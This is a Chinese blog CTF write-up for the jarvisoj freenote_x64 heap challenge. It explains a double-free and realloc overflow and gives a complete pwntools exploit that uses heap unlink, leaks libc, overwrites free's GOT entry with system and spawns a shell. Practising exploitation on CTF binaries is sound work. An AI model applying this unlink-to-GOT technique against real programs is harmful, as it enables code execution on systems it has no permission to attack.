jarvisoj_level6_x64(21/100)

思路

一道unlink,有doublefree漏洞,没有PIE,明显的覆盖got表
edit是一个realloc,可以堆溢出
所以考虑unlink,控制记录chunk表
然后就是一个调试的时候发现的地方chunk0的size为0x120,所以后来realloc时就填充0x120个字节

unlink就是伪造chunk,然后free实现向上合并,从而实现往目标地址写入一个目标地址附近的值
用来实现某一地址写的目的,常用来实现got表的覆写

EXP

from pwn import *
p = process('freenote_x64')
context.log_level = 'debug'
# p = remote('node4.buuoj.cn','27658')
elf=ELF('./freenote_x64')
libc = ELF('./libc-2.23.so')

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

def cmd(choice):
    sla('Your choice: ',choice)
def show():
    cmd(1)
def add(content):
    cmd(2)
    sla('Length of new note: ',len(content))
    sla('Enter your note: ',content)
def edit(idx,content):
    cmd(3)
    sla('Note number: ',idx)
    sla('Length of note: ',len(content))
    sla('Enter your note: ',content)
def delete(idx):
    cmd(4)
    sla('Note number: ',idx)
def dbg():
    gdb.attach(p)
    pause()

add('a'*0x80)
add('b'*0x80)#1
add('c'*0x80)
add('d'*0x80)#3

delete(0)
delete(2)

add('xxxxxxxx')#0
add('pppppppp')#2
show()

p.recvuntil('xxxxxxxx') 
heap_addr= u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
p.recvuntil('pppppppp')
libc_base =u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00')) - 88 - 0x3C4B20

lg('libc_base',libc_base)
heap_head=heap_addr-0x1940
lg('heap_head',heap_head)

chunk0 = heap_head+0x30
print hex(heap_addr)
delete(1)
delete(2)
delete(3)
#unlink
payload = p64(0x0)+p64(0x81)+p64(chunk0-0x18)+p64(chunk0-0x10) 
payload +='a'*0x60
payload += p64(0x80)+p64(0x90)
payload +='a'*0x80+p64(0x90)+p64(0x121)
edit(0,payload)

delete(1)
#free_got->system
# dbg()
free_got=elf.got['free']
payload =p64(4)+p64(1)+p64(0x8)+p64(free_got)
payload +=p64(1)+p64(0x8)+p64(heap_addr)
payload +=p64(1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x120,'\x00')#dbg chunk0
edit(0,payload)

atoi_addr= libc.sym['atoi'] + libc_base
system_addr=libc.sym['system'] + libc_base

edit(0,p64(system_addr))

edit(1,"/bin/sh\x00")
delete(1)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • monkey 本题是一个 c 语言框架的 js执行 查看wp的得到提示这个 框架内置函数有 os.system()...
    fantasy_learner阅读 4,865评论 0 1
  • 0x00 前言 看神仙打架系列,题太多了,自己太菜了,还是只有沦落到赛后复现大佬们的Write Up的地步了,什么...
    Fish_o0O阅读 1,391评论 0 5
  • heap learning part1 1. first fit 1.1 源代码 1.2 运行 1.3 GDB m...
    joe1sn阅读 676评论 0 1
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 8,074评论 0 4
  • 公元:2019年11月28日19时42分农历:二零一九年 十一月 初三日 戌时干支:己亥乙亥己巳甲戌当月节气:立冬...
    石放阅读 7,510评论 0 2

友情链接更多精彩内容